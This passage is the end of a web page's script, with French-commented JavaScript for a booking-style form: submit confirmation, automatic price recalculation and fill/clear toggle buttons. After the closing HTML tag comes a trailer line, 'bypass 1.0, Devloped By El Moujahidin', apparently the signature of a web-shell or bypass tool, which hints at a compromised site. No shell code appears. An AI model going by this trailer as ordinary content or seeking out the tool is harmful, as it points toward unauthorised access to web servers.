    if (!confirm("Confirmez vous la validation de votre réponse ?")) return;

    btnSubmit.disabled = true;
    try{
      const data = await post('submit');
      if (!data.ok){
        alert(data.error || 'Erreur');
        btnSubmit.disabled = false;
        return;
      }
      location.reload();
    } catch(e){
      alert(e.message || "Erreur");
      btnSubmit.disabled = false;
    }
  });

  // ✅ si l'utilisateur modifie => on coupe l'auto tarif
  priceInp?.addEventListener('input', () => { priceInp.dataset.auto = '0'; });

  


  // recalcul auto quand dates / guests changent
  dateStart?.addEventListener('change', syncComputed);
  dateEnd?.addEventListener('change', syncComputed);
  guestsInp?.addEventListener('input', syncComputed);

  // init
  syncComputed();
})();

// Boutons "Vider / Remplir" pour inputs
document.querySelectorAll('[data-toggle-fill]').forEach((btn) => {
  const sel = btn.getAttribute('data-toggle-fill');
  const input = document.querySelector(sel);
  if (!input) return;

  // On garde la valeur initiale (celle du HTML/PHP)
  if (!input.dataset.initialValue) input.dataset.initialValue = input.value || '';

  const refreshLabel = () => {
    btn.textContent = (input.value && input.value.trim() !== '') ? 'Vider' : 'Remplir';
  };

 btn.addEventListener('click', async () => {
  const current = (input.value || '').trim();

  if (current !== '') {
    input.value = '';
  } else {
    input.value = input.dataset.initialValue || '';
  }

  input.dispatchEvent(new Event('input', {bubbles:true}));
  input.dispatchEvent(new Event('change', {bubbles:true}));
  refreshLabel();

  // ✅ déclenche l'aperçu après changement
  if (typeof loadPreview === 'function') {
    await loadPreview(false); // false = pas de scroll
  } else {
    // fallback si tu n'as pas loadPreview
    document.querySelector('#btnPreview')?.click();
  }
});


  input.addEventListener('input', refreshLabel);
  refreshLabel();
});

</script>

</body>
</html>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net